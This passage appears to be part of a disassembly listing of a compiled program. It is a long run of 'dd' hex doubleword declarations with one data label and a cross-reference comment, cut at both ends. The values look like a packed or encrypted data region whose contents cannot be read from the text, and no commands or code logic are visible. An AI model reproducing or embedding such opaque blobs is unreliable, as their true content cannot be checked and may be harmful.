0D51A3C3Fh, 0C26428F1h dd 0FBB28D0Bh, 575900F2h, 174C7842h, 4E9D8AE9h, 43EEF712h dd 51814273h, 8AD5A7B5h, 20835382h, 0D2387761h, 5935236h dd 0AC74E8C3h, 0E924870Ch, 71A286D8h, 2DB99CF5h, 1A6E9D85h dd 4CC8212Dh, 9BDB2035h, 37457AA0h, 0F23F5781h, 0A1B8D30Eh dd 0ACEAE909h, 0BB5A8AA5h, 0D8FB5EC4h, 552CE937h, 764FC6E1h dd 68C260B3h, 3B6C6A83h, 7222995h, 59A0575Bh, 9F28137h dd 5A972678h, 0D2FB3470h, 4300898Bh, 0FD3C11CAh, 0BB667660h dd 4A6D9A7Dh, 9A59409h, 0FC54AFCDh, 0FD26C262h, 2C44D6E5h dd 16AA93B0h, 0BC12F83Ch, 50492F7Ah, 0DBD40B13h, 2458D636h dd 52D9F717h, 6F5308h, 0C91D992Dh, 0C74A219Eh, 67A0FBD9h dd 0B72B71CFh, 48451059h, 0B60276F8h, 0DEE8023h, 0C6340075h dd 0BBF02829h, 0A30C036Bh, 17C0C0FEh, 0F4FE0E9h, 75D30110h dd 0E9E6D95Ah, 0FBF66012h, 4B62D431h, 0A092DE38h, 1C6E122Ah dd 0D0DECB95h, 2ABF3AB5h, 8F2F2B9Eh, 0D95618A7h, 8A123F49h dd 6F1569EEh, 0AFD63AA3h, 0E982ABCAh, 994909C4h, 0A14A81DEh dd 5B45774Bh, 0DC4D373Bh, 5E161D2Eh, 0C80C6731h, 45EB53DBh dd 3CEDED01h, 0BDC84EE1h dd 0FD7C005Ch, 452B2D17h, 35076AC0h, 4F1F76AAh, 224197A0h dd 0C5E938E2h, 0FF054863h, 8F680309h, 0AE52B03Ah, 0F0FB95FDh dd 7B56370Dh, 0AB0AC8B5h, 9DC921E0h, 1ED09F54h, 17D195E8h dd 0BFC58344h, 0E9EE30AEh, 109D1CD6h, 90DDF7F4h, 324F005Ah dd 5753273Fh, 76008BBFh, 0E7817A72h, 60600C71h, 0A980C06h dd 89982CD6h, 724C5C01h, 3170E918h, 0EE4A903Eh, 0B73E3526h dd 22511728h, 0B01A2AE3h, 25D7A05h, 796F93D4h, 567625BEh dd 0C11C5F27h, 1DD26815h, 9AB4929Dh, 3088265Fh, 6F50831h dd 0C3002E28h, 1B444519h, 2A68F329h, 2694020Eh, 408D0878h dd 30B7C4Dh, 8055DA9Fh, 9256E908h, 0F38018B4h, 0C0DF06F0h dd 91556097h, 77BD48Bh, 4845AC00h, 70753558h, 0DF301127h dd 5AD0AE82h, 0ED0FA07Dh, 0A0759F6Ch, 965F39C0h, 0FC6DC2EFh dd 5D26C5F1h, 0A7402610h, 25B7028Ah, 5EF589BFh, 60548950h dd 810343E1h, 0FF400DE3h, 41C20003h, 0E987CFFEh, 2980DD8Ch dd 0B520EECDh, 545E3286h, 0A2D2B09h, 2133B173h, 0C19F602Fh dd 530206EDh, 31D7FBBh, 0F998038h, 1A7B2D02h, 0B4A531E9h dd 8D147DFh, 0BB1F0145h, 58A0390Fh, 270C783Eh, 7D426ACDh dd 0E9099E7Eh, 6817E047h, 8C2C4FDDh, 6401EC1Bh, 0F12D78BBh dd 0E9D0BE5Dh, 0FFDD4DF9h, 5F30548Fh, 3A0471ECh, 0C0368030h dd 0BB27C2CFh, 0E9483376h, 0F76FC4E8h, 80595D05h, 4BEBF533h dd 874A7C14h, 0FE901C95h, 3D3AB120h, 0A2C2D816h, 0E89779A3h dd 0BDD1B024h, 0EFEC39E6h, 5BF7F495h, 2D509AF3h, 6A00631Ah dd 200D3FBAh, 0B70E8237h, 0CE971C58h, 0F162BD8Ah, 0A5D0C577h dd 5697E25Eh, 123EB05h, 0F4F94E8Ch, 5B864CB2h, 8F28FAD7h dd 258297AEh, 635FC1FEh, 4714D131h, 4BCA554h, 0D2CDEC97h dd 0EA4134B1h, 943C0242h, 61E90D61h, 6F52392h, 776B6840h dd 714F31FBh, 0F805C3DBh, 9FF67856h, 19E5614Fh, 2F504BFh dd 9084820h, 0D584FE01h, 0D7CEFF8Ah, 0C5134E7Eh, 0C4DBB25Fh dd 5A05FAD1h, 0EF9FC25Dh, 60323AFDh, 8078D8BCh, 0F439805Bh dd 0F5C49D64h, 887AEC82h, 20CF46E3h, 68121235h, 94AC37C2h dd 0A12A85A4h, 97BD3E6Ch, 0D097E9E0h, 5E981991h, 80DA038Ah dd 0F6E4B151h, 80CBD150h, 0F1E63AFAh, 0CC4A4775h, 0E2B61507h dd 0F9AFE6D3h, 6B8139FCh, 1698B4F7h, 0B6722ADFh, 5E545Bh dd 2DF870DBh, 8F0B27BEh, 0FF01D207h, 0F1C21533h, 0EBF64B89h dd 2F826B88h, 207BF587h, 0F0019BD0h, 2F5115A1h, 0F2D85CF6h dd 0A7C0A074h, 0B68FB2C7h, 0FE8922DCh, 2173E913h, 463931CFh dd 98289650h, 0FC65B0A6h, 8EF5EBB0h, 55C007Fh, 1361B1DCh dd 6AAC315Ah, 0B528BC5Ah, 93CA9305h, 979E45B9h, 0BD5742FDh dd 79C26C5Dh, 658B2DC0h, 9B702426h, 218B2E24h, 0F181D5DAh dd 6E42437Dh, 3EE873A1h, 987458A5h, 4A37F704h, 4212AF26h dd 20344501h, 0F470603Fh, 12309749h, 0B50B6FF9h, 0D894E912h dd 0C7BE0496h, 0AB32BD3Bh, 0DEF79281h, 19C0AA4h, 0E86CF0C6h dd 512897Ah, 0B6E80157h, 0C2EAEA4Eh, 88D2C928h, 1CAEC23Ah dd 0A53FF6F9h, 68BC0182h, 4578362Ch, 0ACE02DC9h, 3DFE5954h dd 94305B4Eh, 0AB34451h, 55F3817Dh, 8EC10106h, 3B1DAE32h dd 0C63C28C1h, 0F936A5h, 0E2570DB2h, 98A4709Eh, 79AD8042h dd 7C653359h, 0C8A46970h, 0AE94E2C9h, 0DD19FBC8h, 806E013Ah dd 51545A35h, 0E5582A25h, 4D78AF81h, 0A761E7B7h, 0D8082BD9h dd 36702FCEh, 0FD16Bh, 4729EF99h, 603B607Bh, 23DA05BBh dd 7A98DFF4h, 734C2603h, 0EDEAC135h, 0C20226B8h, 2585A01Ch dd 30ADE2DDh, 0ABE8E9F1h, 55D0F2A7h, 2F5A1191h, 133A72A8h dd 1EC0C596h, 85F503B2h, 0E78FB753h, 0B25242EFh, 2BE20160h dd 1FEEDE9Fh, 32EA8ED0h, 0C7DB6E1Bh, 0E6012C26h, 8101EB10h dd 0AF606BCDh, 41F12F73h, 0B46AA735h, 7C25D8ACh, 152D839h dd 51993C34h, 248487E9h, 605A8D10h, 26A02630h, 58111252h dd 0AF0BEF92h, 54F4A42Bh, 0E98300CAh, 97011C58h, 5C7BD2EBh dd 863C2953h, 0E4F86112h, 42138BEFh, 10AB4181h, 3901C508h dd 17A763Fh, 13C744F7h, 0EBAEC108h, 0C65981FFh, 15BB14ABh dd 0BEC9C53Fh, 7B25088Eh, 0B9754E50h, 49204B00h, 4E06DFBBh dd 0A848972Dh, 6B14A8C3h, 2D9C6F12h, 949B505Bh, 6C886085h dd 0EDB10187h, 0A1501CC5h, 0B4DD01E1h, 5BFC3085h, 0ACEAB02Bh dd 9BA9E917h, 0C6611BCEh, 619E2739h, 0E8C43A7Bh, 66580809h dd 0A02D057Dh, 85661551h, 7600ED6Ah, 189A8425h, 0B49CC5B2h dd 9DE2EC28h, 26E0816h, 8417BADh, 6E6ED92Eh, 4F300399h dd 0C642B762h, 20121ED7h, 45A3CF5Ah, 2CD21DBAh, 438C8F9Fh dd 911C0A4Ah, 5620C101h, 0B93FE1DCh, 75859E85h, 0E1124008h dd 0CA609697h, 3EAB1310h, 13F832Dh, 3AC3F281h, 3E210608h dd 0DA885904h, 0F71C28EBh, 44281902h, 0F0D5E91Fh, 1768129Dh dd 2E1D8C49h, 0D1BBBD62h, 2AEC555Ah, 79E6AC3Ch, 4251FBB5h dd 0B4691E4Ch, 0EB48023Ch, 0F8E86099h, 4F380B87h, 19B90CC1h dd 89301685h, 8BBA80EBh, 0FF7C993Eh, 0E7C2AB5Bh, 25F1755Ah dd 0DC54624Bh, 0D92D60B3h, 414B6B5Dh, 7F274CA8h, 3A58B6E1h dd 5F088404h, 5989A2B2h, 0D9A00346h, 132C2377h, 0A634FD2Eh dd 4AA0817h, 0A2F81Eh, 480C11BBh, 7045F44Eh, 0EEE5D3EFh dd 173A3169h, 93AFB91Dh, 88429E44h, 79F3B1C1h, 257F0DACh dd 0D2834D09h, 3B52238h, 9CFBF1Ch, 403E648h, 0FEBEF635h dd 8CC102C3h, 41DA39AFh, 4CBE50Ah, 62777A80h, 4D5E3E03h dd 94040D25h, 7AE7FB5Dh, 9702EC79h, 7A528756h, 545705F1h dd 530C18E9h, 0A085FFA7h, 2115826h, 1A01B2F3h, 807F296Ah dd 17D5E1DFh, 802A48D0h, 0C99C073Ch, 7B7F0BBFh, 495C20Dh dd 1C5EBFCEh, 1A18F516h, 2EE1BF6Bh, 0E86EE72h, 3C172BB6h dd 0EB40BE96h, 11862568h, 8E2D0F66h, 0CB0F594Bh, 0CB6E557h dd 0BD1CC975h, 777DA01h, 0DEF58149h, 0E8010D89h, 9BC220FCh dd 1B530522h, 0D04BDACDh, 96F94A0h, 5E4B9070h, 0AF732F05h dd 0C0CB6A5Dh, 31FA1486h, 0D114D670h, 50ADDCEBh, 328075B4h dd 35427301h, 0BC361240h, 945AC08h, 12347D52h, 680808B9h dd 0FBB95B45h, 885DE98Ah, 31010BE3h, 568F68C1h, 530F7F63h dd 60645B58h, 6F1ACD10h, 7CD7C244h, 836B20Fh, 9A09B6CEh dd 47B8788h, 2C7B2430h, 95204835h, 574C024h, 0EA36E180h dd 7187D185h, 50D6DC8Fh, 0FE961C03h, 0A39431CFh, 0FFCA829Fh dd 1170BF8Dh, 4C942DAFh, 0A310CE1Dh, 0E03501DDh, 5A7F9B26h dd 16814D8h, 39051ABAh, 28F0D4CCh, 0D87D978Eh, 0C8559100h dd 89CD17B2h, 254CBCFh, 0BD732BE7h, 0F1EB403Ah, 0F5E0B77h dd 2FEDF21h, 0FE9DC026h, 0E43CFBC9h, 0A7DE95F1h, 0BD3B7658h dd 0ECBFE94Ch, 88B22D39h, 81402774h, 3F07EDE2h, 607A7A9Ah dd 2DC795DCh, 407B1D3Ch, 4BEB84Fh, 13C9E05Ch, 76659409h dd 967F27F4h, 2BCB6B76h, 6978FFDh, 0B02E8E96h, 20084111h dd 257631BAh, 301220F2h, 0F80F389Eh, 2EDB44A6h, 0C70271B9h dd 33A94968h, 2809865Ch, 0FA71814Bh, 0EDA60EE9h, 4790931h dd 1706952Ah, 7BDFB5F8h, 304E39h, 0A04B04B9h, 0C0EAC179h dd 22FEC224h, 963EF92Ch, 17FBE0Fh, 1420E90Ah, 99EB86Ch dd 0CDD648CEh, 4009A941h, 0DF28886Fh, 9D04D945h, 0FD4343F8h dd 0BA7929CFh, 898E65F9h dd 0ABC7E40Ch, 2F7DFABCh, 7F5E4914h, 4C7B5CD1h, 40FAF35Dh dd 0B80FCBBCh, 0BED6CA07h, 1D59408h, 0A64F7A68h, 1F6A8C7Fh dd 5AC1A9BCh, 0C3BFF0E8h, 3A6C3113h, 53ED2EEh, 6EF0EB60h dd 4D5F0718h, 2E3E670Eh, 1206CA23h, 8D2CEECEh, 3BC841CCh dd 0E616B5CBh, 0C92BD12Fh, 54C220D9h, 33FEE69Ah, 74B74F70h dd 0E2FC7AF4h, 0BEF82158h, 1179E27Eh, 9B58480h, 1798E5C0h dd 0E98BAE6h, 0ED0F8876h, 6EFD2852h, 0D2ADB7C5h, 6640AD3Eh dd 162757A0h, 0FD27A1B2h, 0E14015Fh, 0ED303299h, 716EE1AFh dd 4FB407Dh, 815EE0BFh, 5286E195h, 0B2EAF93Fh, 7DB34A4Bh dd 0D4379316h, 0E1018615h, 0DD212058h, 5A429120h, 7CA9A708h dd 0D65DF127h, 0FAA01371h, 0C81AB95Ch, 9306114h, 24643200h dd 9300130h, 78F6DC86h, 0E3E9E9D3h, 168C1D16h, 818B8AA1h dd 8F58F7C5h, 0E03ADD1Ah, 0D70989DAh, 57D092E9h, 17684F1Ah dd 0FC09B9C7h, 0F221F351h, 0BD6810B8h, 0D6E9090Fh, 0C1277F7h dd 37B65560h, 401E2F12h, 0F701D90Bh, 70D5B41Ah, 0B1602715h dd 5CA74FDBh, 0C61F059Ch, 15BF519h, 2E875B08h, 0E9252BA3h dd 0D41D8975h, 0C14CCBE3h, 5B664D30h, 30099ECAh, 0DF0C20DEh dd 6F4AB742h, 28E92C0Eh, 57412D4Eh, 1E263CCCh, 6800515Eh dd 2CFD7077h, 0F281075Ah, 2E7833A2h, 0BFBEAC0h, 61B71BCAh dd 93DA3117h, 7BDC1E40h, 0C427537Fh, 8621B09Fh, 5D00497h dd 0A7580FDh, 367A394Ah, 0F91F13C3h, 0A1F828AFh, 6164B308h dd 1AA2A758h, 8B646B85h, 0C72F380Fh, 0E8736466h, 5D1E85B2h dd 535A9356h, 2801AE6Fh, 72396F1Ch, 3EB0AF40h, 4217670h dd 983F62E6h, 7E2AC055h, 757CF76Ah, 18F0CD07h, 0E560060Bh dd 4CB54F48h, 7F732922h, 0E21B4F9Bh, 6A710DADh, 50E41E0Eh dd 59E72712h, 0BA4A55D2h, 0F825B287h, 0F5B97DC7h, 3E5A6819h dd 41A9262Ch, 0C7A40050h, 166E7B3Ah, 0BD7200C2h, 30EEC164h dd 9B704607h, 0F8172438h, 0B504F301h, 0E21395DCh, 1A553B47h dd 82140268h, 7E6C01B6h, 1B562D58h, 8DFA5493h, 0E685019Fh dd 7003ED7Eh, 0A16C40Ah, 0DEE50653h, 0EFFE0806h, 4E697670h dd 41D7F948h, 12894408h, 1D1A8523h, 0C80216FBh, 0C64D0E10h dd 42B076BEh, 2DFB3020h, 0EAC64401h, 6C497C0Bh, 0DFEFB225h dd 3DFAB791h, 0D760728h, 6CB2751Fh, 8537FC16h, 25A6518h dd 354AF7D0h, 32891C42h, 0F3AD9545h, 507103EBh, 0F78A5F8Fh dd 609871E0h, 55CFEA83h, 62BEBC30h, 5C7A4012h, 9DC523BEh dd 0C84C8024h, 0EF01B211h, 842005E7h, 68828431h, 0E1EC4710h dd 346F57C0h, 8DC2566Dh, 65FA68E9h, 0B133D50h, 3818B33Dh dd 0F8D5F01h, 1BA83D8Dh, 2FA83A1Ah, 7C55510h, 0D20CA224h dd 52B56927h, 0C158C441h, 6AE04E1h, 760B02B4h, 7AC17C6Bh dd 0C248C905h, 9492056h, 17284C13h, 0B78FF2E9h, 0DD1C6B88h dd 0E9286934h, 56B0591h, 309D43A1h, 0E4880476h, 540036BDh dd 5568E205h, 51C8293Fh, 1B21072Dh, 261D222Fh, 0D8D14DEBh dd 0BA68F02Dh, 1DA80C48h, 44421399h, 0A2DA31E9h, 7F4C15E6h dd 251D3719h, 37752B43h, 43CB9201h, 912A5467h, 57D54E19h dd 16BF659Dh, 0DA9AFFB6h, 0A458185Eh, 12FC2BF7h, 16206FB8h dd 558032Ah, 0BC30195h, 402DD099h, 0A174E907h, 0BD2153B5h dd 503BAFB0h, 3F05BB4h, 1FD03BE9h, 71E57920h, 60C17331h dd 0E94808C8h, 9BC04DF8h, 0FC4BF7C5h, 5882BD62h, 6AF6B04Ch dd 0FD3A68E2h, 0CE24E6ECh, 0B6947E2h, 9627A23Ch, 9F680190h dd 821A5731h, 724C61A6h, 5E238705h, 33BD291Dh, 0A029BF4Bh dd 1513DE44h, 89843DA8h, 0B424BCCFh, 6E5745BEh, 2138AE93h dd 2D0870BFh, 2851321Ch, 0C816FE02h, 505F6067h, 443527E9h dd 0DF3FED98h, 8C67F197h, 5F206D6Bh, 15780097h, 4B53CE2Ch dd 41EBBC29h, 941C8008h, 5A7FB87Dh, 881E4AE9h, 4F0B3713h dd 385B76E8h, 9D072DDBh, 45B814C5h, 0B9CEDF0h, 29168D5Fh dd 8804050h, 7F91E889h, 7BF23D0Ah, 0B8024EA4h, 911B274h dd 50004DA9h, 71225041h, 2D3BF6C8h, 0F6275956h, 4276529Ah dd 0DAA11D44h, 0C02BD047h, 263FF92Eh, 28E31CB2h, 4D1B67E1h dd 45D28FF1h, 0FD0C33B3h, 5DDBC58Fh, 60FA9AAEh, 0EF45495Ah dd 0BC8B011h, 2A32D77h, 0FF0D097Dh, 3DFC99C4h, 49787A18h dd 2F05C5ECh, 8076B283h, 6851402Fh, 48FCB7FDh, 0E9580E4Ah dd 0F509957Ah, 189D6775h, 7BD4D029h, 3CFC3EE1h, 0EBF6E3A7h dd 8CE6FA84h, 0C98B1B25h, 14275A7Ch, 2F629DDFh, 540C2E40h dd 9D16602Ch, 373AE802h, 0BCF8D542h, 65366F0Eh, 188A71Fh dd 8F804F54h, 6941C07Bh, 810445B9h, 1F42EB58h, 0E3DF0462h dd 0A0EBB832h, 4BF32E1Bh, 2CD0BF4h, 59650F4h, 5D478B1Eh dd 216F1567h, 21263B44h, 1F071E90h, 9385A204h, 13BAA6E9h dd 1D37BF57h, 5B01C244h, 0CCEFE480h, 0E1E0C1C4h, 154D9CFCh dd 4C568704h, 0AC824F24h, 62BEFEF2h, 985F27D1h, 822BAAA2h dd 8737C17Dh, 4622D7E2h, 0AC421FE3h, 84F3CDC0h, 50E83505h dd 55C5DE89h, 2D5A3EECh, 3284FCA3h, 0A4875D82h, 53F28ABEh dd 2D5862D9h, 25AC4DABh, 65FF7417h, 8498BC54h, 0BF17DE86h dd 0C4B10A44h, 1D83F6BFh, 613BD66h, 0E7B0108h, 90E9C828h dd 44FF2CA9h, 0C1872508h, 0C9400176h, 58535ADEh, 0D4C0C767h dd 210FED9Bh, 0F527B994h, 0E913CEBEh, 94D33BFAh, 0CFC9F844h dd 0E6E49531h, 0F9C49925h, 817EA7Eh, 5702FB9Dh, 0A93D6768h dd 7F65A016h, 0B944DA07h, 201E6AA6h, 0A168390Fh, 0FDDDCC5Eh dd 4229555Bh, 0E9FB07AFh, 58EB1A15h, 6E0004Fh, 0C46AD40Dh dd 16DBEA15h, 46344h, 695564C6h, 677C9435h, 18BE2B62h dd 31E67738h, 49553D42h, 108508C1h, 0FBF0215Eh, 0D3E27D37h dd 565F374h, 88A869E9h, 0AC053E4Eh, 0FE315E20h, 6E2AD9FBh dd 3743D181h, 0FFEC105h, 0FED16FE7h, 81004B94h, 7F1238EFh dd 44EB1B12h, 0C29B0Dh, 0F4802DB4h, 70C3E61Fh, 75E3784Eh dd 125863EBh, 1DE428ABh, 5320672h, 6C81BBBBh, 3F6D886Dh dd 0E19A0539h, 0AE830603h, 7F60CA5Eh, 1D7EBCE8h, 0FBDB9F41h dd 0EEC1113h, 8DC62D09h, 2CD6B989h, 452BF381h, 2C303E54h dd 0F2330983h, 39225317h, 888DF731h, 57D6D408h, 0FAE9562Dh dd 2EF8BD64h, 83769EB2h, 0B823D3BFh, 13653E09h, 0EEF18120h dd 0CB4A09DBh, 0E90B71B8h, 0C27226B7h, 82C6817h, 0AA3A768Ch dd 0FF8C60CEh dword_4F0044 dd 72D72655h, 0A4ED13ECh, 561491BEh, 736641D8h, 7E25C00Eh ; DATA XREF: ___:00437A64o dd 39F8F608h, 0C27C86B1h, 0A4CF7B55h, 0C2F01E29h, 411FE9C7h dd 926230D6h, 0E526680Dh, 7A5F81F9h, 0B45AD0DFh, 3B409B81h dd 781100BAh, 0F2816118h, 0D5162A80h, 0FBB42952h, 4D631251h dd 6E8A56Ah, 91011C08h, 6833CD52h, 8A7B622Bh, 310C20F0h dd 0D01D1E38h, 8EBC6B5Ah, 64BD68C2h, 0BA2E84B2h, 0B48FFC12h dd 0E27F8FE5h, 0B868C28Ch, 8DD2B170h, 0C2AFF83Ah, 55577468h dd 11A78798h, 7515E80h, 5618F1B9h, 0D485C23Bh, 0C2800DE8h dd 16D7AC5Ch, 65AFFD5Ch, 0DF1FBF7Dh, 2C6FEE48h, 80F72517h dd 4D2668BCh, 0CDF60081h, 0D124C30Eh, 12C04EE6h, 0F5BFE1C8h dd 3A1BB821h, 41E15FE9h, 0E54E05EEh, 0D5CF273h, 7DAD69EFh dd 9BCF25A0h, 7050607Ah, 1F0283F1h, 0ACE93530h, 0BD65C4AAh dd 0D9BD6A72h, 296C66FEh, 30025AC5h, 8F197C81h, 0F6D58600h dd 8408D269h, 0B917FE8Eh, 11DC301Ah, 9F55B75Bh, 0B60FBD59h dd 0C974E5A0h, 4213D7ADh, 1301E90Bh, 60E3E7FDh, 3CE8C127h dd 6A0EB4EFh, 0D40154AAh, 19DF049Eh, 88AB1479h, 33ECAD4Dh dd 8004CBB6h, 35C1DDE1h, 68F0D002h, 3FFBAC9Eh, 0CB09A4B6h dd 0A4F10116h, 48E82909h, 80A313DAh, 681DBF5Ah, 31561604h dd 6CCB7F1h, 7922D1Fh, 12376AF6h, 0E061FCE1h, 55F3E20h dd 709A372Dh, 0CC02BF9Fh, 0ABEDD9E9h, 350B02BAh, 8C0109ABh dd 0E8F424D8h, 7695F87Ch, 0EE8143EBh, 4C3078F0h, 859CAB5h dd 1B459108h, 0BC527BB0h, 9A470040h, 84CD816Bh, 0BD15B1Dh dd 31B0F580h, 12897596h, 0AC28E9EAh, 6D644A9Dh, 4CB2F7BAh dd 46642FAEh, 3EF078DFh, 0A3B927CEh, 0CD8243CDh, 5960DF2Bh dd 7D137CE6h, 55EC22EDh, 1E0CFC7Ch, 89A2BA52h, 0C05D4ADDh dd 7E55D0F1h, 55E9F221h, 912EB7CCh, 23BD4BE0h, 68590405h dd 2EF30255h, 0AB3E0E13h, 0DA288629h, 0D8C151B2h, 580042Fh dd 60072542h, 19A90C14h, 0E9134172h, 74417E9Ah, 3D0E2A43h dd 0A5610765h, 7E2C601h, 902ED2F0h, 0BD9A7039h, 464FE656h dd 4B0F0E4h, 6661EEBDh, 0CDFAC01Bh, 0E5247CCCh, 46098351h dd 0D85CA2E2h, 0E05785Bh, 574705DBh, 825EAA72h, 66FA203h dd 60CAF80Bh, 683409D6h, 80992120h, 23643055h, 5D4D6C14h dd 0E4B304F2h, 20BB3EB9h, 430EE95Bh, 0A93A0981h, 72201679h dd 5F2EEEB9h, 6D1B021Ah, 28D01D5Bh, 4A12E75Fh, 3808DBBAh dd 0E54DE9h, 805BFD08h, 1366A7F5h, 0AA41B252h, 0E80FAA5Ch dd 13EF172Ch, 24CCEA73h, 0DCDF5BFFh, 0F74866A6h, 65AC39D6h dd 0F3EAA527h, 0D23E169Bh, 2BB739AAh, 8180F9EDh, 735A9E9h dd 144A4375h, 7D281309h, 54D82502h, 0A9D76D81h, 0E9D5EE71h dd 2AD2F3BAh, 0C4EC9640h, 47F0EE65h, 9F4CF05Bh, 0C79E8759h dd 0D56B5309h, 5B8C23C7h, 0FF271AAh, 0F0C1EEE1h, 0EFD7265h dd 0DCC54D56h, 0E50AC01Ch, 474AF12Dh, 0D0F938E1h, 0E6BD916Eh dd 0F7A5C507h, 74AE0C04h, 1EF7132h, 5002C0ACh, 260C8248h dd 700F9E0Ah, 0F48C2011h, 0C4BF5878h, 259270Fh, 0C3FDA398h dd 81FE599Fh, 5CD7B95h, 7C25F95Ah, 0AABD02D6h, 5D4F932Ah dd 1C3E3BAAh, 26D10E74h, 0C318EDC0h, 0E91929B5h, 0D5615A1Ch dd 8BE4EBC9h, 8949BF8Dh, 5B2D365Bh, 65014CF4h, 0A8BC70D5h dd 9A050293h, 0DD0AA73Dh, 27076708h, 545AA87Ch, 6D862D3h dd 29810104h, 406B5CDAh, 0E581F5A2h, 0E21F4EF0h, 0FECB5258h dd 79227602h, 8B40281Ch, 31E6A4A7h, 3DE98BFBh, 0F79ED083h dd 25979A39h, 0E97A4016h, 0AFC54B36h, 0C4C91161h, 0F704A03Dh dd 0AE087C20h, 4AECF413h, 0C0FE2185h, 6139F66Ch, 0B8EFA250h dd 7466601h, 0DAABE916h, 0A37E1865h, 0DD5CC91Fh, 803818E6h dd 69AB4E23h, 7C727B87h, 0E9C27658h, 0D77AC57Eh, 58160827h dd 1ACD369h, 61CE360Fh, 97367C29h, 5F555105h, 0DA8AB935h dd 38205958h, 6A5DA390h, 7DBF52FDh, 64CB6448h, 251753E0h dd 0CBD8808Bh, 0A583D77h, 18D027F8h, 0CE097E8Fh, 33A1C94Bh dd 3A550B72h, 0EC9286B8h, 0A0E10326h, 0B06E3677h, 95FA50C1h dd 0B5017078h, 14AD341h, 74705C8h, 0F0D0D6DEh, 0DEF504E9h dd 130B0B4Ch, 9A3F4CFBh, 0C1D9BC0Dh, 9DD00E6Ah, 0CDC0BF19h dd 40828C66h, 2D36D50Fh, 7B7234E7h, 0C020883h, 74A13F9Ch dd 0D26CD75Dh, 52160F4Eh, 655101BAh, 7F397645h, 0EDC00AB2h dd 2B644078h, 0B4C5E790h, 16840E12h, 87BAE640h, 0B0195B7Eh dd 257D73DCh, 0FE0BE6A4h, 0D50F3257h, 0F8603FEAh, 272668ADh dd 2D0EB821h, 8CBA1657h, 0C16801C8h, 0CA800828h, 53E91A31h dd 9507BA96h, 8A50C1F8h, 7CEC03F5h, 8BFF08D6h, 90D15ACBh dd 0BB006410h, 0E313704Bh, 60EB213Ch, 40472DAEh, 7410A325h dd 0CB010158h, 9DD34EE9h, 6BCCF289h, 0E0595923h, 3920A4F8h dd 0F33A3A2Ch, 0F37EA75Ch, 0BF8FDFD3h, 0F4B7B431h, 4B4818BBh dd 1D87E710h, 8D233B3h, 5F0572F8h, 0C706EFC1h, 68123C3Dh dd 9914C425h, 0A06BF14Dh, 9E4CB7C6h, 0B1B3B14Ch, 0AE65FDC2h dd 0EDCD60A5h, 2F95A7B1h, 8E3E4FF6h, 9A40DC68h, 27D3026Fh dd 9532E622h, 8980234Ah, 11536925h, 17E07E9Fh, 81D8412Dh dd 0FBBF0CF1h, 0E3CDE5EFh, 6850001Fh, 3A5F13E9h, 0BD350958h dd 0A7D7A85Ch, 84D2FBF5h, 3F847565h, 9FF8C053h, 584BC529h dd 0F8C59AB8h, 0F74B91EEh, 0C0ADC133h, 681DC405h, 90442AF9h dd 0C2819648h, 7442DF8h, 56BFA82h, 929FF5Dh, 46CA02h, 0BB4A55BFh dd 0FA896109h, 4489575Fh, 0BCF2504h, 629CD651h, 5921D9D3h dd 8B6AC501h, 4FA548FCh, 5AE99A9Ch, 0F7B980AAh, 282F68DEh dd 482C661Fh, 110AD61Bh, 1819C621h, 0E2812576h, 6F71540Bh dd 341F807Bh, 92084535h, 9AACC4BFh, 48A6146Dh, 261709AFh dd 279704Ah, 431E2814h, 962D3F7h, 33D7847Dh, 0EEECDA8Dh dd 0DFE8B561h, 0A9066A14h, 16BA5849h, 13919C0Dh, 0B1CB0405h dd 4004A879h, 1D905A07h, 0BDD30B20h, 0C70770D8h, 0AABC7F84h dd 4140C16Fh, 0F57E26C8h, 5F080291h, 2215E7DDh, 9F8B74AAh dd 0E90B1015h, 61716261h, 4B247A0Dh, 0AF6814ACh, 8BDFB23Eh dd 4C59D184h, 0FE0DF88h, 0D4E7C8FEh, 0EED70B07h, 583DC415h dd 81D1386h, 0F20F4CDh, 0D3725E2Eh, 0FF93C388h, 0D25D1025h dd 6A1B0E76h, 0E384D45h, 532461EFh, 0E905A363h, 0EAA8FEAFh dd 163D548Fh, 2537F92Fh, 0DD3C05Ch, 8A7A2DC3h, 971EE4F6h dd 29EECABDh, 81A77A66h, 0C017F85Fh, 721E67C5h, 0B949BD68h dd 6A22D9FBh, 9FB23FB0h, 5C4B146Ch, 5612011Dh, 10D0C00Bh dd 3D4D0213h, 41BAC699h, 0A15E865Dh, 0A2382A6Dh, 0B5A0BD68h dd 3D7FDAEAh, 32690C69h, 50A3CEA7h, 4003CFC2h, 0E327C159h dd 0ADB0F106h, 402DBB52h, 0BB1B7FF4h, 0E8D80CD2h, 0F815FCB5h dd 9B5F5E9h, 40D3F4CBh, 4ECCB411h, 1BD6EFCh, 2CAC044Dh dd 30BAA06Bh, 73C18039h, 0A781E150h, 0BBB9E45Eh, 0EA1AABD3h dd 7DCF7D3Ah, 7585902Dh, 0F7BFA45Dh, 0C684DE7Dh, 0ECA91642h dd 0B570FC58h, 2F474D82h, 0A1AF1455h, 77C69782h, 0B1DAB8BBh dd 0B91751D6h, 0B43B7AA5h, 0E6437658h, 3CA46802h, 71516D58h dd 68D50149h, 316E641Bh, 6DFC495Bh, 374C0466h, 0E3C409F3h dd 43012072h, 1302ED3Eh, 0D844685Bh, 7216B567h, 88886396h dd 8EBD0128h, 4277C818h, 580AF180h, 9425460Ah, 83904CA8h dd 7F2EE60Fh dd 2DFFC41Eh, 4175FB98h, 0BD8F2031h, 62B44C1Eh, 0E321A9CCh dd 0E1C11ED9h, 2BD19805h, 49B8DFF6h, 3B813B40h, 8217EBCBh dd 9C66003Fh, 0E90A2907h, 0A040B25Eh, 7F1970EBh, 6BC1BC08h dd 975416F5h, 6CF53E9Ah, 0E6E91070h, 5359125Dh, 5E98CCF8h dd 2F27159Fh, 0A0CA7473h, 5D42AA08h, 0BB06871Eh, 11B52C45h dd 55C20A44h, 139F17BEh, 40038CADh, 32F8E64Eh, 0C0E984A5h dd 9B0F3D86h, 0BCE96616h, 6B9F0B0h, 4C6433A0h, 70385256h dd 61015BE4h, 78091939h, 12A3CED8h, 427F550h, 192DDB0h dd 0D12079B2h, 8F680DE5h, 84B4A85Ah, 931CB44Ah, 0AA8B0Ch dd 6856E1D1h, 2DF82B9Ch, 0A05C5E15h, 0AC385F2Dh, 104BE3E9h dd 0E60904E3h, 25D8BC6Ah, 1231DA0Eh, 5802A42Ah, 5DEA2492h dd 87E82AC4h, 2314C9F1h, 0BA9E17A7h, 0D1234A23h, 0FE8F2CA4h dd 49275701h, 0C3E9C109h, 3CDDC2A1h, 0BA2D17C9h, 55B00C57h dd 1002C8CEh, 21E91637h, 8884D477h, 